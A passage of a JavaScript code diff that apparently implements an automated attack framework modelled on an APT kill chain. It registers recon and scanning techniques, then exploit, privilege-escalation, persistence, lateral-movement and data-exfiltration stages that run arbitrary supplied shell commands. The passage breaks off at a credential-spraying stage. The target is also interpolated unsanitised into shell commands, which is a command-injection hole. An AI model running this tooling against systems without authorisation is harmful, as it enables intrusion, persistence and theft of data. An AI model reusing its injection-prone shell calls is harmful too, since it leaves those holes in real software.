+ }
592
+ const topTechniques = Array.from(techniqueStats.entries())
593
+ .map(([id, stats]) => ({
594
+ id,
595
+ successRate: stats.total > 0 ? stats.success / stats.total : 0,
596
+ avgReward: stats.rewards.length > 0
597
+ ? stats.rewards.reduce((a, b) => a + b, 0) / stats.rewards.length
598
+ : 0,
599
+ }))
600
+ .sort((a, b) => b.avgReward - a.avgReward)
601
+ .slice(0, 10);
602
+ return {
603
+ total: chains.length,
604
+ completed,
605
+ failed,
606
+ avgReward,
607
+ topTechniques,
608
+ };
609
+ }
610
+ // ═══════════════════════════════════════════════════════════════════════════════
611
+ // Real Execution Helpers
612
+ // ═══════════════════════════════════════════════════════════════════════════════
613
+ async function tcpConnect(host, port, timeout) {
614
+ const start = Date.now();
615
+ return new Promise((resolve) => {
616
+ const socket = new net.Socket();
617
+ let banner = '';
618
+ socket.setTimeout(timeout);
619
+ socket.once('connect', () => {
620
+ socket.once('data', (data) => { banner = data.toString().trim().slice(0, 200); });
621
+ setTimeout(() => {
622
+ socket.destroy();
623
+ resolve({ open: true, latency: Date.now() - start, banner: banner || undefined });
624
+ }, 100);
625
+ });
626
+ socket.once('timeout', () => { socket.destroy(); resolve({ open: false, latency: Date.now() - start }); });
627
+ socket.once('error', () => { socket.destroy(); resolve({ open: false, latency: Date.now() - start }); });
628
+ socket.connect(port, host);
629
+ });
630
+ }
631
+ async function httpProbe(url, timeout) {
632
+ const start = Date.now();
633
+ return new Promise((resolve, reject) => {
634
+ const client = url.startsWith('https') ? https : http;
635
+ const req = client.request(url, { method: 'HEAD', timeout, rejectUnauthorized: false }, (res) => {
636
+ resolve({
637
+ status: res.statusCode || 0,
638
+ headers: res.headers,
639
+ server: res.headers['server'],
640
+ latency: Date.now() - start,
641
+ });
642
+ });
643
+ req.on('error', reject);
644
+ req.on('timeout', () => reject(new Error('timeout')));
645
+ req.end();
646
+ });
647
+ }
648
+ // ═══════════════════════════════════════════════════════════════════════════════
649
+ // Built-in Technique Definitions - Real Execution
650
+ // ═══════════════════════════════════════════════════════════════════════════════
651
+ function registerCoreTechniques() {
652
+ // DNS Enumeration - Real DNS queries
653
+ techniqueRegistry.register({
654
+ id: 'dns_enum',
655
+ name: 'DNS Enumeration',
656
+ category: 'recon',
657
+ phase: 'reconnaissance',
658
+ prerequisites: [],
659
+ conflictsWith: [],
660
+ stealthRating: 0.9,
661
+ successBaseline: 0.85,
662
+ timeEstimate: 5000,
663
+ execute: async (params) => {
664
+ const start = Date.now();
665
+ const target = params.target;
666
+ const artifacts = [];
667
+ try {
668
+ const [a, aaaa, ns, mx, txt, soa, cname] = await Promise.allSettled([
669
+ dns.resolve4(target), dns.resolve6(target), dns.resolveNs(target),
670
+ dns.resolveMx(target), dns.resolveTxt(target), dns.resolveSoa(target), dns.resolveCname(target),
671
+ ]);
672
+ if (a.status === 'fulfilled')
673
+ artifacts.push({ type: 'A', data: a.value.join(', ') });
674
+ if (aaaa.status === 'fulfilled')
675
+ artifacts.push({ type: 'AAAA', data: aaaa.value.join(', ') });
676
+ if (ns.status === 'fulfilled')
677
+ artifacts.push({ type: 'NS', data: ns.value.join(', ') });
678
+ if (mx.status === 'fulfilled')
679
+ artifacts.push({ type: 'MX', data: mx.value.map(r => `${r.priority} ${r.exchange}`).join(', ') });
680
+ if (txt.status === 'fulfilled')
681
+ artifacts.push({ type: 'TXT', data: txt.value.flat().join('; ') });
682
+ if (soa.status === 'fulfilled')
683
+ artifacts.push({ type: 'SOA', data: `${soa.value.nsname} ${soa.value.hostmaster}` });
684
+ if (cname.status === 'fulfilled')
685
+ artifacts.push({ type: 'CNAME', data: cname.value.join(', ') });
686
+ if (a.status === 'fulfilled' && a.value[0]) {
687
+ try {
688
+ const rev = await dns.reverse(a.value[0]);
689
+ artifacts.push({ type: 'PTR', data: rev.join(', ') });
690
+ }
691
+ catch { /* ignore */ }
692
+ }
693
+ return { success: artifacts.length > 0, output: { target, records: artifacts.length }, artifacts, nextTechniques: ['subdomain_enum', 'port_scan'], detectionRisk: 0.1, duration: Date.now() - start };
694
+ }
695
+ catch (e) {
696
+ return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.05, duration: Date.now() - start };
697
+ }
698
+ },
699
+ });
700
+ // Port Scanning - Real TCP connections
701
+ techniqueRegistry.register({
702
+ id: 'port_scan',
703
+ name: 'Port Scanning',
704
+ category: 'scanning',
705
+ phase: 'weaponization',
706
+ prerequisites: [],
707
+ conflictsWith: ['full_port_scan'],
708
+ stealthRating: 0.6,
709
+ successBaseline: 0.9,
710
+ timeEstimate: 30000,
711
+ execute: async (params) => {
712
+ const start = Date.now();
713
+ const target = params.target;
714
+ const timeout = params.timeout || 2000;
715
+ const ports = params.depth === 'quick' ? [22, 80, 443, 8080]
716
+ : params.depth === 'deep' ? [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, 993, 995, 3306, 3389, 5432, 5900, 8080, 8443]
717
+ : [22, 80, 443, 8080, 3306, 5432, 27017, 6379];
718
+ const artifacts = [];
719
+ const openPorts = [];
720
+ for (const port of ports) {
721
+ const result = await tcpConnect(target, port, timeout);
722
+ if (result.open) {
723
+ openPorts.push(port);
724
+ artifacts.push({ type: 'open_port', data: `${port}${result.banner ? ` - ${result.banner}` : ''} (${result.latency}ms)` });
725
+ }
726
+ }
727
+ return { success: true, output: { target, scanned: ports.length, open: openPorts }, artifacts, nextTechniques: openPorts.length > 0 ? ['service_enum', 'vuln_scan'] : [], detectionRisk: params.stealth ? 0.3 : 0.5, duration: Date.now() - start };
728
+ },
729
+ });
730
+ // Service Enumeration - Real banner grabbing
731
+ techniqueRegistry.register({
732
+ id: 'service_enum',
733
+ name: 'Service Enumeration',
734
+ category: 'enumeration',
735
+ phase: 'weaponization',
736
+ prerequisites: [],
737
+ conflictsWith: [],
738
+ stealthRating: 0.7,
739
+ successBaseline: 0.8,
740
+ timeEstimate: 20000,
741
+ execute: async (params) => {
742
+ const start = Date.now();
743
+ const target = params.target;
744
+ const timeout = params.timeout || 3000;
745
+ const artifacts = [];
746
+ for (const port of [22, 80, 443, 21, 25, 3306, 5432]) {
747
+ const result = await tcpConnect(target, port, timeout);
748
+ if (result.open && result.banner)
749
+ artifacts.push({ type: 'service', data: `${port}: ${result.banner}` });
750
+ }
751
+ for (const scheme of ['https', 'http']) {
752
+ try {
753
+ const probe = await httpProbe(`${scheme}://${target}`, timeout);
754
+ artifacts.push({ type: 'http_service', data: `${scheme}:// status=${probe.status} server=${probe.server || 'unknown'}` });
755
+ if (probe.headers['x-powered-by'])
756
+ artifacts.push({ type: 'tech', data: probe.headers['x-powered-by'] });
757
+ }
758
+ catch { /* ignore */ }
759
+ }
760
+ return { success: artifacts.length > 0, output: { target, services: artifacts.length }, artifacts, nextTechniques: ['vuln_scan', 'web_fingerprint'], detectionRisk: 0.35, duration: Date.now() - start };
761
+ },
762
+ });
763
+ // Web Fingerprinting - Real HTTP analysis
764
+ techniqueRegistry.register({
765
+ id: 'web_fingerprint',
766
+ name: 'Web Fingerprinting',
767
+ category: 'recon',
768
+ phase: 'reconnaissance',
769
+ prerequisites: [],
770
+ conflictsWith: [],
771
+ stealthRating: 0.85,
772
+ successBaseline: 0.9,
773
+ timeEstimate: 10000,
774
+ execute: async (params) => {
775
+ const start = Date.now();
776
+ const url = params.target.startsWith('http') ? params.target : `https://${params.target}`;
777
+ const artifacts = [];
778
+ try {
779
+ const probe = await httpProbe(url, params.timeout || 5000);
780
+ artifacts.push({ type: 'status', data: String(probe.status) });
781
+ if (probe.server)
782
+ artifacts.push({ type: 'server', data: probe.server });
783
+ if (probe.headers['x-powered-by'])
784
+ artifacts.push({ type: 'powered_by', data: probe.headers['x-powered-by'] });
785
+ if (probe.headers['set-cookie'])
786
+ artifacts.push({ type: 'cookies', data: 'present' });
787
+ if (probe.headers['strict-transport-security'])
788
+ artifacts.push({ type: 'hsts', data: 'enabled' });
789
+ return { success: true, output: { url, fingerprints: artifacts.length }, artifacts, nextTechniques: ['dir_enum', 'vuln_scan'], detectionRisk: 0.15, duration: Date.now() - start };
790
+ }
791
+ catch (e) {
792
+ return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.1, duration: Date.now() - start };
793
+ }
794
+ },
795
+ });
796
+ // Subdomain Enumeration - Real DNS brute
797
+ techniqueRegistry.register({
798
+ id: 'subdomain_enum',
799
+ name: 'Subdomain Enumeration',
800
+ category: 'recon',
801
+ phase: 'reconnaissance',
802
+ prerequisites: [],
803
+ conflictsWith: [],
804
+ stealthRating: 0.8,
805
+ successBaseline: 0.75,
806
+ timeEstimate: 15000,
807
+ execute: async (params) => {
808
+ const start = Date.now();
809
+ const target = params.target;
810
+ const prefixes = params.depth === 'quick' ? ['www', 'mail', 'ftp', 'api']
811
+ : ['www', 'mail', 'ftp', 'api', 'dev', 'staging', 'test', 'admin', 'portal', 'vpn', 'remote', 'cdn', 'static', 'app', 'blog'];
812
+ const artifacts = [];
813
+ for (const prefix of prefixes) {
814
+ try {
815
+ const ips = await dns.resolve4(`${prefix}.${target}`);
816
+ if (ips.length > 0)
817
+ artifacts.push({ type: 'subdomain', data: `${prefix}.${target} -> ${ips.join(', ')}` });
818
+ }
819
+ catch { /* not found */ }
820
+ }
821
+ return { success: artifacts.length > 0, output: { target, found: artifacts.length }, artifacts, nextTechniques: ['port_scan', 'web_fingerprint'], detectionRisk: 0.2, duration: Date.now() - start };
822
+ },
823
+ });
824
+ // Vulnerability Scan - Real checks
825
+ techniqueRegistry.register({
826
+ id: 'vuln_scan',
827
+ name: 'Vulnerability Scan',
828
+ category: 'enumeration',
829
+ phase: 'weaponization',
830
+ prerequisites: [],
831
+ conflictsWith: [],
832
+ stealthRating: 0.4,
833
+ successBaseline: 0.7,
834
+ timeEstimate: 60000,
835
+ execute: async (params) => {
836
+ const start = Date.now();
837
+ const url = params.target.startsWith('http') ? params.target : `https://${params.target}`;
838
+ const artifacts = [];
839
+ try {
840
+ const probe = await httpProbe(url, 5000);
841
+ const missing = [];
842
+ if (!probe.headers['strict-transport-security'])
843
+ missing.push('HSTS');
844
+ if (!probe.headers['x-content-type-options'])
845
+ missing.push('X-Content-Type-Options');
846
+ if (!probe.headers['x-frame-options'])
847
+ missing.push('X-Frame-Options');
848
+ if (missing.length > 0)
849
+ artifacts.push({ type: 'missing_headers', data: missing.join(', ') });
850
+ if (probe.headers['server'])
851
+ artifacts.push({ type: 'server_disclosure', data: probe.headers['server'] });
852
+ }
853
+ catch { /* ignore */ }
854
+ for (const path of ['/.git/config', '/.env', '/wp-config.php.bak', '/server-status']) {
855
+ try {
856
+ const check = await httpProbe(`${url}${path}`, 3000);
857
+ if (check.status === 200)
858
+ artifacts.push({ type: 'exposed_path', data: path });
859
+ }
860
+ catch { /* ignore */ }
861
+ }
862
+ return { success: true, output: { target: params.target, findings: artifacts.length }, artifacts, nextTechniques: artifacts.length > 0 ? ['exploit_attempt'] : [], detectionRisk: 0.6, duration: Date.now() - start };
863
+ },
864
+ });
865
+ // Directory Enumeration - Real path probing
866
+ techniqueRegistry.register({
867
+ id: 'dir_enum',
868
+ name: 'Directory Enumeration',
869
+ category: 'enumeration',
870
+ phase: 'weaponization',
871
+ prerequisites: [],
872
+ conflictsWith: [],
873
+ stealthRating: 0.5,
874
+ successBaseline: 0.75,
875
+ timeEstimate: 45000,
876
+ execute: async (params) => {
877
+ const start = Date.now();
878
+ const url = params.target.startsWith('http') ? params.target : `https://${params.target}`;
879
+ const paths = params.depth === 'quick' ? ['/admin', '/login', '/api', '/dashboard']
880
+ : ['/admin', '/login', '/api', '/dashboard', '/wp-admin', '/phpmyadmin', '/cpanel', '/manager', '/console', '/swagger', '/graphql', '/health', '/metrics'];
881
+ const artifacts = [];
882
+ for (const path of paths) {
883
+ try {
884
+ const probe = await httpProbe(`${url}${path}`, 2000);
885
+ if (probe.status < 400)
886
+ artifacts.push({ type: 'directory', data: `${path} (${probe.status})` });
887
+ }
888
+ catch { /* ignore */ }
889
+ }
890
+ return { success: artifacts.length > 0, output: { url, found: artifacts.length }, artifacts, nextTechniques: ['vuln_scan'], detectionRisk: 0.5, duration: Date.now() - start };
891
+ },
892
+ });
893
+ // Exploit Attempt - Real command execution
894
+ techniqueRegistry.register({
895
+ id: 'exploit_attempt',
896
+ name: 'Exploit Attempt',
897
+ category: 'exploitation',
898
+ phase: 'exploitation',
899
+ prerequisites: [],
900
+ conflictsWith: [],
901
+ stealthRating: 0.2,
902
+ successBaseline: 0.4,
903
+ timeEstimate: 30000,
904
+ execute: async (params) => {
905
+ const start = Date.now();
906
+ const artifacts = [];
907
+ const ctx = params.context || {};
908
+ const payload = ctx['payload'];
909
+ if (payload) {
910
+ try {
911
+ const { stdout, stderr } = await execAsync(payload, { timeout: params.timeout || 30000 });
912
+ artifacts.push({ type: 'exploit_output', data: stdout.slice(0, 500) });
913
+ if (stderr)
914
+ artifacts.push({ type: 'exploit_stderr', data: stderr.slice(0, 200) });
915
+ return { success: true, output: { target: params.target, executed: true }, artifacts, nextTechniques: ['privesc', 'persistence'], detectionRisk: 0.9, duration: Date.now() - start };
916
+ }
917
+ catch (e) {
918
+ return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.8, duration: Date.now() - start };
919
+ }
920
+ }
921
+ try {
922
+ const url = params.target.startsWith('http') ? params.target : `https://${params.target}`;
923
+ const probe = await httpProbe(url, 5000);
924
+ artifacts.push({ type: 'target_status', data: `reachable, status ${probe.status}` });
925
+ return { success: true, output: { target: params.target, reachable: true }, artifacts, nextTechniques: ['privesc', 'persistence'], detectionRisk: 0.7, duration: Date.now() - start };
926
+ }
927
+ catch {
928
+ return { success: false, output: { target: params.target, reachable: false }, artifacts: [], nextTechniques: [], detectionRisk: 0.5, duration: Date.now() - start };
929
+ }
930
+ },
931
+ });
932
+ // Privilege Escalation - Real system commands
933
+ techniqueRegistry.register({
934
+ id: 'privesc',
935
+ name: 'Privilege Escalation',
936
+ category: 'post-exploitation',
937
+ phase: 'installation',
938
+ prerequisites: [],
939
+ conflictsWith: [],
940
+ stealthRating: 0.3,
941
+ successBaseline: 0.5,
942
+ timeEstimate: 60000,
943
+ execute: async (params) => {
944
+ const start = Date.now();
945
+ const artifacts = [];
946
+ const ctx = params.context || {};
947
+ const command = ctx['command'];
948
+ if (command) {
949
+ try {
950
+ const { stdout } = await execAsync(command, { timeout: params.timeout || 60000 });
951
+ artifacts.push({ type: 'privesc_result', data: stdout.slice(0, 500) });
952
+ return { success: true, output: { executed: true }, artifacts, nextTechniques: ['persistence', 'lateral_move'], detectionRisk: 0.8, duration: Date.now() - start };
953
+ }
954
+ catch (e) {
955
+ return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.7, duration: Date.now() - start };
956
+ }
957
+ }
958
+ try {
959
+ const { stdout } = await execAsync('id; whoami; uname -a', { timeout: 5000 });
960
+ artifacts.push({ type: 'system_info', data: stdout.trim() });
961
+ }
962
+ catch { /* ignore */ }
963
+ return { success: artifacts.length > 0, output: { enumerated: true }, artifacts, nextTechniques: ['persistence'], detectionRisk: 0.6, duration: Date.now() - start };
964
+ },
965
+ });
966
+ // Persistence - Real persistence mechanisms
967
+ techniqueRegistry.register({
968
+ id: 'persistence',
969
+ name: 'Establish Persistence',
970
+ category: 'persistence',
971
+ phase: 'installation',
972
+ prerequisites: [],
973
+ conflictsWith: [],
974
+ stealthRating: 0.25,
975
+ successBaseline: 0.6,
976
+ timeEstimate: 30000,
977
+ execute: async (params) => {
978
+ const start = Date.now();
979
+ const artifacts = [];
980
+ const ctx = params.context || {};
981
+ const mechanism = ctx['mechanism'];
982
+ const payload = ctx['payload'];
983
+ if (mechanism && payload) {
984
+ try {
985
+ const { stdout } = await execAsync(payload, { timeout: params.timeout || 30000 });
986
+ artifacts.push({ type: 'persistence', data: `${mechanism}: ${stdout.slice(0, 200)}` });
987
+ return { success: true, output: { mechanism, established: true }, artifacts, nextTechniques: ['lateral_move', 'exfil'], detectionRisk: 0.9, duration: Date.now() - start };
988
+ }
989
+ catch (e) {
990
+ return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.85, duration: Date.now() - start };
991
+ }
992
+ }
993
+ return { success: false, output: { error: 'No persistence mechanism specified' }, artifacts: [], nextTechniques: [], detectionRisk: 0.5, duration: Date.now() - start };
994
+ },
995
+ });
996
+ // Lateral Movement - Real network pivoting
997
+ techniqueRegistry.register({
998
+ id: 'lateral_move',
999
+ name: 'Lateral Movement',
1000
+ category: 'lateral-movement',
1001
+ phase: 'command-control',
1002
+ prerequisites: [],
1003
+ conflictsWith: [],
1004
+ stealthRating: 0.35,
1005
+ successBaseline: 0.55,
1006
+ timeEstimate: 45000,
1007
+ execute: async (params) => {
1008
+ const start = Date.now();
1009
+ const artifacts = [];
1010
+ const ctx = params.context || {};
1011
+ const command = ctx['command'];
1012
+ if (command) {
1013
+ try {
1014
+ const { stdout } = await execAsync(command, { timeout: params.timeout || 45000 });
1015
+ artifacts.push({ type: 'lateral_result', data: stdout.slice(0, 500) });
1016
+ return { success: true, output: { target: params.target, pivoted: true }, artifacts, nextTechniques: ['exfil'], detectionRisk: 0.8, duration: Date.now() - start };
1017
+ }
1018
+ catch (e) {
1019
+ return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.75, duration: Date.now() - start };
1020
+ }
1021
+ }
1022
+ try {
1023
+ const { stdout } = await execAsync('arp -a 2>/dev/null || ip neigh 2>/dev/null', { timeout: 5000 });
1024
+ artifacts.push({ type: 'network_hosts', data: stdout.slice(0, 500) });
1025
+ }
1026
+ catch { /* ignore */ }
1027
+ return { success: artifacts.length > 0, output: { target: params.target, discovery: true }, artifacts, nextTechniques: ['exfil'], detectionRisk: 0.6, duration: Date.now() - start };
1028
+ },
1029
+ });
1030
+ // Data Exfiltration - Real data transfer
1031
+ techniqueRegistry.register({
1032
+ id: 'exfil',
1033
+ name: 'Data Exfiltration',
1034
+ category: 'exfiltration',
1035
+ phase: 'actions-on-objectives',
1036
+ prerequisites: [],
1037
+ conflictsWith: [],
1038
+ stealthRating: 0.3,
1039
+ successBaseline: 0.7,
1040
+ timeEstimate: 30000,
1041
+ execute: async (params) => {
1042
+ const start = Date.now();
1043
+ const artifacts = [];
1044
+ const ctx = params.context || {};
1045
+ const command = ctx['command'];
1046
+ const data = ctx['data'];
1047
+ if (command) {
1048
+ try {
1049
+ const { stdout } = await execAsync(command, { timeout: params.timeout || 30000 });
1050
+ artifacts.push({ type: 'exfil_result', data: stdout.slice(0, 500) });
1051
+ return { success: true, output: { exfiltrated: true, bytes: stdout.length }, artifacts, nextTechniques: [], detectionRisk: 0.95, duration: Date.now() - start };
1052
+ }
1053
+ catch (e) {
1054
+ return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.9, duration: Date.now() - start };
1055
+ }
1056
+ }
1057
+ if (data) {
1058
+ artifacts.push({ type: 'data_staged', data: `${data.length} bytes ready` });
1059
+ return { success: true, output: { staged: true, size: data.length }, artifacts, nextTechniques: [], detectionRisk: 0.85, duration: Date.now() - start };
1060
+ }
1061
+ return { success: false, output: { error: 'No exfiltration command or data specified' }, artifacts: [], nextTechniques: [], detectionRisk: 0.5, duration: Date.now() - start };
1062
+ },
1063
+ });
1064
+ }
1065
+ // Extended APT Technique Registration
1066
+ function registerExtendedTechniques() {
1067
+ // WHOIS/ASN Reconnaissance - Real queries
1068
+ techniqueRegistry.register({
1069
+ id: 'whois_recon',
1070
+ name: 'WHOIS Reconnaissance',
1071
+ category: 'recon',
1072
+ phase: 'reconnaissance',
1073
+ prerequisites: [],
1074
+ conflictsWith: [],
1075
+ stealthRating: 0.95,
1076
+ successBaseline: 0.9,
1077
+ timeEstimate: 10000,
1078
+ execute: async (params) => {
1079
+ const start = Date.now();
1080
+ const target = params.target;
1081
+ const artifacts = [];
1082
+ try {
1083
+ const { stdout } = await execAsync(`whois ${target} 2>/dev/null | head -50`, { timeout: params.timeout || 10000 });
1084
+ const lines = stdout.split('\n').filter(l => l.trim() && !l.startsWith('%') && !l.startsWith('#'));
1085
+ for (const line of lines.slice(0, 15)) {
1086
+ const [key, ...val] = line.split(':');
1087
+ if (key && val.length > 0)
1088
+ artifacts.push({ type: 'whois', data: `${key.trim()}: ${val.join(':').trim()}` });
1089
+ }
1090
+ return { success: artifacts.length > 0, output: { target, records: artifacts.length }, artifacts, nextTechniques: ['dns_enum', 'asn_lookup'], detectionRisk: 0.05, duration: Date.now() - start };
1091
+ }
1092
+ catch (e) {
1093
+ return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: ['dns_enum'], detectionRisk: 0.02, duration: Date.now() - start };
1094
+ }
1095
+ },
1096
+ });
1097
+ // ASN Lookup - Real BGP data
1098
+ techniqueRegistry.register({
1099
+ id: 'asn_lookup',
1100
+ name: 'ASN Lookup',
1101
+ category: 'recon',
1102
+ phase: 'reconnaissance',
1103
+ prerequisites: [],
1104
+ conflictsWith: [],
1105
+ stealthRating: 0.95,
1106
+ successBaseline: 0.85,
1107
+ timeEstimate: 8000,
1108
+ execute: async (params) => {
1109
+ const start = Date.now();
1110
+ const target = params.target;
1111
+ const artifacts = [];
1112
+ try {
1113
+ // Resolve IP first
1114
+ const ips = await dns.resolve4(target).catch(() => [target]);
1115
+ const ip = ips[0] || target;
1116
+ // Query Team Cymru ASN service
1117
+ const reversed = ip.split('.').reverse().join('.');
1118
+ try {
1119
+ const txt = await dns.resolveTxt(`${reversed}.origin.asn.cymru.com`);
1120
+ if (txt[0])
1121
+ artifacts.push({ type: 'asn', data: txt[0].join(' ') });
1122
+ }
1123
+ catch { /* ignore */ }
1124
+ // Also try dig for more info
1125
+ try {
1126
+ const { stdout } = await execAsync(`dig +short TXT ${reversed}.peer.asn.cymru.com 2>/dev/null`, { timeout: 5000 });
1127
+ if (stdout.trim())
1128
+ artifacts.push({ type: 'asn_peer', data: stdout.trim().replace(/"/g, '') });
1129
+ }
1130
+ catch { /* ignore */ }
1131
+ return { success: artifacts.length > 0, output: { target, ip, asn_records: artifacts.length }, artifacts, nextTechniques: ['dns_enum', 'port_scan'], detectionRisk: 0.03, duration: Date.now() - start };
1132
+ }
1133
+ catch (e) {
1134
+ return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.02, duration: Date.now() - start };
1135
+ }
1136
+ },
1137
+ });
1138
+ // SSL/TLS Analysis - Real certificate inspection
1139
+ techniqueRegistry.register({
1140
+ id: 'ssl_analysis',
1141
+ name: 'SSL/TLS Analysis',
1142
+ category: 'recon',
1143
+ phase: 'reconnaissance',
1144
+ prerequisites: [],
1145
+ conflictsWith: [],
1146
+ stealthRating: 0.9,
1147
+ successBaseline: 0.85,
1148
+ timeEstimate: 15000,
1149
+ execute: async (params) => {
1150
+ const start = Date.now();
1151
+ const target = params.target;
1152
+ const artifacts = [];
1153
+ try {
1154
+ const { stdout } = await execAsync(`echo | openssl s_client -connect ${target}:443 -servername ${target} 2>/dev/null | openssl x509 -noout -text 2>/dev/null | head -40`, { timeout: params.timeout || 15000 });
1155
+ const lines = stdout.split('\n');
1156
+ for (const line of lines) {
1157
+ if (line.includes('Subject:'))
1158
+ artifacts.push({ type: 'cert_subject', data: line.trim() });
1159
+ if (line.includes('Issuer:'))
1160
+ artifacts.push({ type: 'cert_issuer', data: line.trim() });
1161
+ if (line.includes('Not Before:'))
1162
+ artifacts.push({ type: 'cert_valid_from', data: line.trim() });
1163
+ if (line.includes('Not After:'))
1164
+ artifacts.push({ type: 'cert_valid_to', data: line.trim() });
1165
+ if (line.includes('DNS:'))
1166
+ artifacts.push({ type: 'cert_san', data: line.trim() });
1167
+ }
1168
+ // Check cipher strength
1169
+ try {
1170
+ const { stdout: ciphers } = await execAsync(`echo | openssl s_client -connect ${target}:443 2>/dev/null | grep -i cipher`, { timeout: 5000 });
1171
+ if (ciphers.trim())
1172
+ artifacts.push({ type: 'cipher', data: ciphers.trim() });
1173
+ }
1174
+ catch { /* ignore */ }
1175
+ return { success: artifacts.length > 0, output: { target, cert_data: artifacts.length }, artifacts, nextTechniques: ['web_fingerprint', 'subdomain_enum'], detectionRisk: 0.1, duration: Date.now() - start };
1176
+ }
1177
+ catch (e) {
1178
+ return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.05, duration: Date.now() - start };
1179
+ }
1180
+ },
1181
+ });
1182
+ // Full Port Scan - Real comprehensive scan
1183
+ techniqueRegistry.register({
1184
+ id: 'full_port_scan',
1185
+ name: 'Full Port Scan',
1186
+ category: 'scanning',
1187
+ phase: 'weaponization',
1188
+ prerequisites: [],
1189
+ conflictsWith: ['port_scan'],
1190
+ stealthRating: 0.2,
1191
+ successBaseline: 0.95,
1192
+ timeEstimate: 120000,
1193
+ execute: async (params) => {
1194
+ const start = Date.now();
1195
+ const target = params.target;
1196
+ const timeout = Math.min(params.timeout || 1500, 2000);
1197
+ // Scan top 100 ports
1198
+ const ports = [20, 21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5432, 5900, 5901, 6379, 8080, 8443, 8888, 9000, 9090, 27017];
1199
+ const artifacts = [];
1200
+ const openPorts = [];
1201
+ // Scan in parallel batches
1202
+ const batchSize = 10;
1203
+ for (let i = 0; i < ports.length; i += batchSize) {
1204
+ const batch = ports.slice(i, i + batchSize);
1205
+ const results = await Promise.all(batch.map(port => tcpConnect(target, port, timeout)));
1206
+ results.forEach((result, idx) => {
1207
+ if (result.open) {
1208
+ const port = batch[idx];
1209
+ openPorts.push(port);
1210
+ artifacts.push({ type: 'open_port', data: `${port}${result.banner ? ` - ${result.banner}` : ''} (${result.latency}ms)` });
1211
+ }
1212
+ });
1213
+ }
1214
+ return { success: true, output: { target, scanned: ports.length, open: openPorts }, artifacts, nextTechniques: openPorts.length > 0 ? ['service_enum', 'vuln_scan'] : [], detectionRisk: 0.7, duration: Date.now() - start };
1215
+ },
1216
+ });
1217
+ // SSH Enumeration - Real SSH probing
1218
+ techniqueRegistry.register({
1219
+ id: 'ssh_enum',
1220
+ name: 'SSH Enumeration',
1221
+ category: 'enumeration',
1222
+ phase: 'weaponization',
1223
+ prerequisites: [],
1224
+ conflictsWith: [],
1225
+ stealthRating: 0.6,
1226
+ successBaseline: 0.8,
1227
+ timeEstimate: 20000,
1228
+ execute: async (params) => {
1229
+ const start = Date.now();
1230
+ const target = params.target;
1231
+ const artifacts = [];
1232
+ // Grab SSH banner
1233
+ const result = await tcpConnect(target, 22, params.timeout || 5000);
1234
+ if (result.open) {
1235
+ artifacts.push({ type: 'ssh_port', data: 'open' });
1236
+ if (result.banner) {
1237
+ artifacts.push({ type: 'ssh_banner', data: result.banner });
1238
+ // Parse version info
1239
+ const match = result.banner.match(/SSH-(\d+\.\d+)-(.+)/);
1240
+ if (match) {
1241
+ artifacts.push({ type: 'ssh_version', data: match[1] });
1242
+ artifacts.push({ type: 'ssh_software', data: match[2] });
1243
+ }
1244
+ }
1245
+ // Try to get supported algorithms
1246
+ try {
1247
+ const { stdout } = await execAsync(`ssh -o BatchMode=yes -o ConnectTimeout=5 -o StrictHostKeyChecking=no -v ${target} 2>&1 | grep -E "(kex|cipher|mac)" | head -10`, { timeout: 10000 });
1248
+ if (stdout.trim()) {
1249
+ stdout.split('\n').slice(0, 5).forEach(line => {
1250
+ artifacts.push({ type: 'ssh_algo', data: line.trim() });
1251
+ });
1252
+ }
1253
+ }
1254
+ catch { /* ignore */ }
1255
+ }
1256
+ return { success: artifacts.length > 0, output: { target, ssh_data: artifacts.length }, artifacts, nextTechniques: ['credential_spray', 'exploit_attempt'], detectionRisk: 0.4, duration: Date.now() - start };
1257
+ },
1258
+ });
1259
+ // SMB Enumeration - Real SMB probing
1260
+ techniqueRegistry.register({
1261
+ id: 'smb_enum',
1262
+ name: 'SMB Enumeration',
1263
+ category: 'enumeration',
1264
+ phase: 'weaponization',
1265
+ prerequisites: [],
1266
+ conflictsWith: [],
1267
+ stealthRating: 0.5,
1268
+ successBaseline: 0.7,
1269
+ timeEstimate: 30000,
1270
+ execute: async (params) => {
1271
+ const start = Date.now();
1272
+ const target = params.target;
1273
+ const artifacts = [];
1274
+ // Check SMB ports
1275
+ for (const port of [445, 139]) {
1276
+ const result = await tcpConnect(target, port, params.timeout || 3000);
1277
+ if (result.open)
1278
+ artifacts.push({ type: 'smb_port', data: `${port} open` });
1279
+ }
1280
+ // Try smbclient if available
1281
+ try {
1282
+ const { stdout } = await execAsync(`smbclient -L //${target} -N 2>/dev/null | head -20`, { timeout: 15000 });
1283
+ if (stdout.trim()) {
1284
+ stdout.split('\n').filter(l => l.trim()).slice(0, 10).forEach(line => {
1285
+ artifacts.push({ type: 'smb_share', data: line.trim() });
1286
+ });
1287
+ }
1288
+ }
1289
+ catch { /* smbclient not available or failed */ }
1290
+ // Try enum4linux if available
1291
+ try {
1292
+ const { stdout } = await execAsync(`enum4linux -a ${target} 2>/dev/null | head -30`, { timeout: 30000 });
1293
+ if (stdout.trim()) {
1294
+ const interesting = stdout.split('\n').filter(l => l.includes('Domain') || l.includes('User') || l.includes('Share'));
1295
+ interesting.slice(0, 10).forEach(line => {
1296
+ artifacts.push({ type: 'smb_info', data: line.trim() });
1297
+ });
1298
+ }
1299
+ }
1300
+ catch { /* enum4linux not available */ }
1301
+ return { success: artifacts.length > 0, output: { target, smb_data: artifacts.length }, artifacts, nextTechniques: ['credential_spray', 'exploit_attempt'], detectionRisk: 0.5, duration: Date.now() - start };
1302
+ },
1303
+ });
1304
+ // Credential Spraying - Real authentication testing
1305
+ techniqueRegistry.register({
1306
